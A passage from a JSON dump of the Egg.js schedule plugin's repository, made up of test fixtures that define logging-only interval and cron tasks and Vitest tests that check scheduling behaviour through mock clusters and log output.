    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  immediate: true,\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('immediate-interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/immediate/package.json",
    "content": "{\n  \"name\": \"immediate\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/immediate-onlyonce/app/schedule/immediate-onlyonce.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  immediate: true,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('immediate-onlyonce');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/immediate-onlyonce/package.json",
    "content": "{\n  \"name\": \"immediate-onlyonce\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/config/config.default.js",
    "content": "exports.logger = {\n  level: 'debug',\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.customPlugin = {\n  enable: true,\n  path: path.join(__dirname, '../plugin'),\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/package.json",
    "content": "{\n  \"name\": \"plugin\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/plugin/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/plugin/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/plugin/plugin/package.json",
    "content": "{\n  \"name\": \"customPlugin\",\n  \"eggPlugin\": {\n    \"name\": \"customPlugin\"\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/safe-timers/agent.js",
    "content": "'use strict';\n\nconst safetimers = require('safe-timers');\n\nmodule.exports = (agent) => {\n  safetimers.maxInterval = 4000;\n\n  const proto = safetimers.Timeout.prototype;\n  const originFn = proto.reschedule;\n\n  proto.reschedule = function (...args) {\n    agent.logger.info('reschedule', ...args);\n    originFn.call(this, ...args);\n  };\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/safe-timers/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4321,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/safe-timers/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/safe-timers/config/plugin.js",
    "content": "'use strict';\n\nexports.logrotator = false;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/safe-timers/package.json",
    "content": "{\n  \"name\": \"safe-timers\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/scheduleError/app/schedule/interval.js",
    "content": "exports.schedule = {\n  type: 'worker',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/scheduleError/app/schedule/sub/cron.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/scheduleError/package.json",
    "content": "{\n  \"name\": \"scheduleError\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/stop/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 10000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/stop/package.json",
    "content": "{\n  \"name\": \"stop\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription/app/schedule/interval.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      interval: 4000,\n    };\n  }\n\n  async subscribe() {\n    this.ctx.logger.info('interval');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription/app/schedule/sub/cron.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      cron: '*/5 * * * * *',\n    };\n  }\n\n  async subscribe() {\n    this.ctx.logger.info('cron');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription/config/plugin.js",
    "content": "exports.logrotator = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription/package.json",
    "content": "{\n  \"name\": \"subscription\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-enableFastContextLogger/app/schedule/interval.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      interval: 4000,\n    };\n  }\n\n  async subscribe() {\n    this.app.logger.info('interval');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-enableFastContextLogger/app/schedule/sub/cron.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      cron: '*/5 * * * * *',\n    };\n  }\n\n  async subscribe() {\n    this.app.logger.info('cron');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-enableFastContextLogger/config/config.default.js",
    "content": "exports.logger = {\n  enableFastContextLogger: true,\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-enableFastContextLogger/config/plugin.js",
    "content": "exports.logrotator = true;\nexports.tracer = {\n  enable: true,\n  package: '@eggjs/tracer',\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-enableFastContextLogger/package.json",
    "content": "{\n  \"name\": \"subscription-enableFastContextLogger\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-generator/app/schedule/interval.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      interval: 4000,\n    };\n  }\n\n  *subscribe() {\n    this.ctx.logger.info('interval');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-generator/app/schedule/sub/cron.js",
    "content": "const Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'worker',\n      cron: '*/5 * * * * *',\n    };\n  }\n\n  async subscribe() {\n    this.ctx.logger.info('cron');\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-generator/config/plugin.js",
    "content": "exports.logrotator = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/subscription-generator/package.json",
    "content": "{\n  \"name\": \"subscription\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/symlink/package.json",
    "content": "{\n  \"name\": \"symlink\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/symlink/realFile.js",
    "content": "export const schedule = {\n  type: 'worker',\n  interval: '4s',\n};\n\nexport async function task(ctx) {\n  ctx.logger.info('interval');\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/symlink/runDir/app/schedule/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/schedule/test/fixtures/symlink/runDir/package.json",
    "content": "{\n  \"name\": \"symlink\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/symlink/tsRealFile.ts",
    "content": "export const schedule = {\n  type: 'worker',\n  interval: '4s',\n};\n\nexport async function task(ctx: any): Promise<void> {\n  ctx.logger.info('interval');\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/typeUndefined/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/typeUndefined/app/schedule/undefined.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'undefined',\n  interval: 2000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/typeUndefined/package.json",
    "content": "{\n  \"name\": \"typeUndefined\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/unknown/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.messenger.once('egg-ready', () => {\n    setTimeout(() => {\n      agent.messenger.sendRandom('egg-schedule', { key: 'no-exist' });\n    }, 100);\n  });\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/unknown/package.json",
    "content": "{\n  \"name\": \"unknown\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker/app/schedule/interval.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  interval: '4s',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker/app/schedule/sub/cron.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx, ...args) {\n  ctx.logger.info('cron', ...args);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker/config/config.default.js",
    "content": "exports.logger = {\n  level: 'DEBUG',\n  consoleLevel: 'DEBUG',\n  coreLogger: {\n    level: 'DEBUG',\n    consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker/config/plugin.js",
    "content": "exports.logrotator = true;\nexports.onerror = false;\nexports.session = false;\nexports.i18n = false;\nexports.watcher = false;\nexports.multipart = false;\nexports.security = false;\nexports.development = false;\nexports.static = false;\nexports.jsonp = false;\nexports.view = false;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker/package.json",
    "content": "{\n  \"name\": \"worker\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker-ctxStorage/app/schedule/interval.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  interval: '4s',\n};\n\nexports.task = async (ctx) => {\n  ctx.app.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker-ctxStorage/app/schedule/sub/foobar.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async (ctx, ...args) => {\n  ctx.app.logger.info('foobar', ...args);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker-ctxStorage/config/plugin.js",
    "content": "exports.logrotator = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/worker-ctxStorage/package.json",
    "content": "{\n  \"name\": \"worker-ctxStorage\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/immediate.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('cluster - immediate', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('immediate'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('immediate');\n    // console.log(log);\n    expect(contains(log, 'immediate-interval')).toBeGreaterThanOrEqual(2);\n    expect(contains(log, 'immediate-cron')).toBeGreaterThanOrEqual(2);\n  });\n});\n\ndescribe.skipIf(process.platform === 'win32')('cluster - immediate-onlyonce', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('immediate-onlyonce'),\n      workers: 1,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('immediate-onlyonce');\n    // console.log(log);\n    // unstable\n    expect(contains(log, 'immediate-onlyonce')).toBeGreaterThanOrEqual(0);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/safe-timers.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getAgentLogContent, getFixtures, getLogContent } from './utils.ts';\n\n// FIXME: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('cluster', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('safe-timers'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support interval and cron', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('safe-timers');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(1);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(1);\n\n    const agentLog = getAgentLogContent('safe-timers');\n    // console.log(agentLog);\n    expect(contains(agentLog, 'reschedule 4321')).toBeGreaterThanOrEqual(2);\n    expect(contains(agentLog, 'reschedule')).toBeGreaterThanOrEqual(4);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/schedule-plugin.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/schedule-plugin.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('plugin'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support interval and cron', async () => {\n    await sleep(5000);\n    const log = getLogContent('plugin');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(1);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/schedule-type-worker1.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent, getScheduleLogContent } from './utils.ts';\n\ndescribe('cluster - worker', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('worker'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('worker');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBe(1);\n    expect(contains(log, 'cron')).toBe(1);\n\n    const scheduleLog = getScheduleLogContent('worker');\n    // console.log(scheduleLog);\n    expect(contains(scheduleLog, 'cron.js executing by app')).toBe(1);\n    expect(contains(scheduleLog, 'cron.js execute succeed')).toBe(1);\n    expect(contains(scheduleLog, 'interval.js executing by app')).toBe(1);\n    expect(contains(scheduleLog, 'interval.js execute succeed')).toBe(1);\n  });\n});\n\ndescribe('cluster - worker-ctxStorage', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('worker-ctxStorage'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('worker-ctxStorage');\n    // console.log(log);\n    // unstable\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(0);\n    expect(contains(log, 'foobar')).toBeGreaterThanOrEqual(0);\n\n    const scheduleLog = getScheduleLogContent('worker-ctxStorage');\n    // console.log(scheduleLog);\n    // unstable\n    expect(contains(scheduleLog, 'foobar.js executing by app')).toBeGreaterThanOrEqual(0);\n    expect(contains(scheduleLog, 'foobar.js execute succeed')).toBeGreaterThanOrEqual(0);\n    expect(contains(scheduleLog, 'interval.js executing by app')).toBeGreaterThanOrEqual(0);\n    expect(contains(scheduleLog, 'interval.js execute succeed')).toBeGreaterThanOrEqual(0);\n  });\n});\n\ndescribe('cluster - cronOptions', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('cronOptions'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('cronOptions');\n    // const scheduleLog = getScheduleLogContent('cronOptions');\n    // console.log(log);\n    // unstable\n    expect(contains(log, 'cron-options')).toBeGreaterThanOrEqual(0);\n    // expect(scheduleLog).toMatch(/cron-options.js reach endDate, will stop/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/schedule-type-worker2.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent } from './utils.ts';\n\n// FIXME: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('cluster - context', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('context'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('context');\n    // console.log(log);\n    expect(log).toMatch(/method: SCHEDULE/);\n    expect(log).toMatch(/path: \\/__schedule/);\n    expect(log).toMatch(/(.*?)sub(\\/|\\\\)cron\\.js/);\n    expect(log).toMatch(/\"type\":\"worker\"/);\n    expect(log).toMatch(/\"cron\":\"\\*\\/5 \\* \\* \\* \\* \\*\"/);\n    expect(log).toMatch(/hello busi/);\n  });\n});\n\ndescribe.skip('cluster - async', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('async'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('async');\n    expect(log).toMatch(/method: SCHEDULE/);\n    expect(log).toMatch(/path: \\/__schedule/);\n    expect(log).toMatch(/(.*?)sub(\\/|\\\\)cron\\.js/);\n    expect(log).toMatch(/\"type\":\"worker\"/);\n    expect(log).toMatch(/\"cron\":\"\\*\\/5 \\* \\* \\* \\* \\*\"/);\n    expect(log).toMatch(/hello busi/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/schedule.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { importResolve } from '@eggjs/utils';\nimport { describe, it, afterEach, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent } from './utils.ts';\n\ndescribe.skip('test/schedule.test.ts', () => {\n  let app: MockApplication;\n  afterEach(() => app.close());\n\n  describe('schedule.registerSchedule', () => {\n    it('should register succeed', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      const key = __filename;\n      let scheduleCalled = false;\n      const task = async () => {\n        scheduleCalled = true;\n      };\n      const schedule = {\n        key,\n        task,\n        schedule: {\n          type: 'all',\n          interval: 4000,\n        },\n      };\n      (app as any).agent.schedule.registerSchedule(schedule);\n      app.scheduleWorker.registerSchedule(schedule as any);\n\n      await app.runSchedule(key);\n      await sleep(1000);\n\n      assert.equal(scheduleCalled, true);\n    });\n\n    it('should unregister succeed', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      const key = __filename;\n      let scheduleCalled = false;\n      const task = async () => {\n        scheduleCalled = true;\n      };\n      const schedule = {\n        key,\n        task,\n        schedule: {\n          type: 'all',\n          interval: 4000,\n        },\n      };\n      (app as any).agent.schedule.registerSchedule(schedule);\n      app.scheduleWorker.registerSchedule(schedule as any);\n\n      (app as any).agent.schedule.unregisterSchedule(schedule.key);\n      app.scheduleWorker.unregisterSchedule(schedule.key);\n\n      let err: any;\n      try {\n        await app.runSchedule(key);\n      } catch (e) {\n        err = e;\n      }\n      assert.match(err.message, /Cannot find schedule/);\n      assert.equal(scheduleCalled, false);\n    });\n  });\n\n  describe('app.runSchedule', () => {\n    it('should run schedule not exist throw error', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      try {\n        await app.runSchedule(__filename);\n        await sleep(1000);\n        throw new Error('should not execute');\n      } catch (err: any) {\n        assert(err.message.includes('Cannot find schedule'));\n      }\n    });\n\n    it('should run schedule by relative path success', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      await app.runSchedule('sub/cron');\n      await sleep(1000);\n      const log = getLogContent('worker');\n      // console.log(log);\n      assert(contains(log, 'cron') >= 1);\n    });\n\n    it('should run schedule by absolute path success', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      const schedulePath = getFixtures('worker/app/schedule/sub/cron.js');\n      await app.runSchedule(schedulePath);\n      await sleep(1000);\n      const log = getLogContent('worker');\n      // console.log(log);\n      expect(contains(log, 'cron')).toBeGreaterThanOrEqual(1);\n    });\n\n    it('should run schedule by absolute package path success', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      await app.runSchedule(importResolve('egg-logrotator/app/schedule/rotate_by_file.js'));\n    });\n\n    it('should run schedule by relative path success at customDirectory', async () => {\n      app = mm.app({ baseDir: getFixtures('customDirectory'), cache: false });\n      await app.ready();\n      await app.runSchedule('custom');\n      await sleep(1000);\n      const log = getLogContent('customDirectory');\n      // console.log(log);\n      expect(contains(log, 'customDirectory')).toBe(1);\n    });\n\n    it('should run schedule with args', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      await app.runSchedule('sub/cron', 'test');\n      await sleep(1000);\n      const log = getLogContent('worker');\n      // console.log(log);\n      expect(contains(log, 'cron test')).toBe(1);\n    });\n\n    it('should run schedule support ctxStorage', async () => {\n      app = mm.app({ baseDir: getFixtures('worker2'), cache: false });\n      await app.ready();\n      app.mockContext({\n        tracer: {\n          traceId: 'mock-trace-123',\n        },\n      });\n      await app.runSchedule('sub/foobar', 'use app.logger.info should work');\n      await sleep(5000);\n      const log = getLogContent('worker2');\n      // console.log(log);\n      expect(log).toMatch(/ \\[-\\/127.0.0.1\\/mock-trace-123\\/[\\d.]+ms GET \\/] foobar use app.logger.info should work/);\n    });\n\n    it('should run schedule with symlink js file success', async () => {\n      if (!process.version.startsWith('v22.')) {\n        // only work on Node.js >= v22\n        return;\n      }\n      const realPath = getFixtures('symlink/realFile.js');\n      const targetPath = getFixtures('symlink/runDir/app/schedule/realFile.js');\n      try {\n        fs.unlinkSync(targetPath);\n      } catch {\n        // ignore\n      }\n      try {\n        fs.symlinkSync(realPath, targetPath);\n      } catch {\n        // ignore\n      }\n\n      app = mm.app({ baseDir: getFixtures('symlink/runDir'), cache: false });\n      await app.ready();\n      await app.runSchedule('realFile');\n      fs.unlinkSync(targetPath);\n    });\n  });\n\n  describe('export app.schedules', () => {\n    it('should export app.schedules', async () => {\n      app = mm.app({ baseDir: getFixtures('worker'), cache: false });\n      await app.ready();\n      expect(app.schedules).toBeDefined();\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/scheduleError.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/scheduleError.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('scheduleError'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should thrown', async () => {\n    await sleep(5000);\n    app.expect('stderr', /`schedule\\.interval` or `schedule\\.cron` or `schedule\\.immediate` must be present/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/stop.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent } from './utils.ts';\n\ndescribe.skipIf(process.platform === 'win32')('test/stop.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('stop'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should thrown', async () => {\n    await sleep(10000);\n    const log = getLogContent('stop');\n    expect(contains(log, 'interval')).toBe(0);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/subscription.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent } from './utils.ts';\n\ndescribe('cluster - subscription', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('subscription'), workers: 1 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support interval and cron', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('subscription');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(1);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(1);\n  });\n});\n\ndescribe('cluster - subscription-generator', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('subscription-generator'),\n      workers: 1,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should throw error on generator function', async () => {\n    await sleep(3000);\n\n    app.expect('stderr', /\"schedule\" generator function is not support, should use async function instead/);\n  });\n});\n\ndescribe('cluster - subscription-enableFastContextLogger', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('subscription-enableFastContextLogger'),\n      workers: 1,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support interval and cron', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('subscription-enableFastContextLogger');\n    // console.log(log);\n    // unstable\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(0);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(0);\n    // 2022-12-11 16:44:55,009 INFO 22958 [-/127.0.0.1/15d62420-7930-11ed-86ce-31ec9c2e0d18/3ms SCHEDULE /__schedule\n    // expect(log).toMatch(/ INFO \\w+ \\[-\\/127\\.0\\.0\\.1\\/\\w+-\\w+-\\w+-\\w+-\\w+\\/[\\d.]+ms SCHEDULE \\/__schedule/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/typeUndefined.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/typeUndefined.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('typeUndefined'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should thrown', async () => {\n    await sleep(5000);\n    app.expect('stderr', /schedule type \\[undefined\\] is not defined/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/unknown.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getScheduleLogContent } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/unknown.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('unknown'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should schedule unknown task', async () => {\n    await sleep(3000);\n    expect(getScheduleLogContent('unknown')).toMatch(/no-exist unknown task/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/utils.ts",
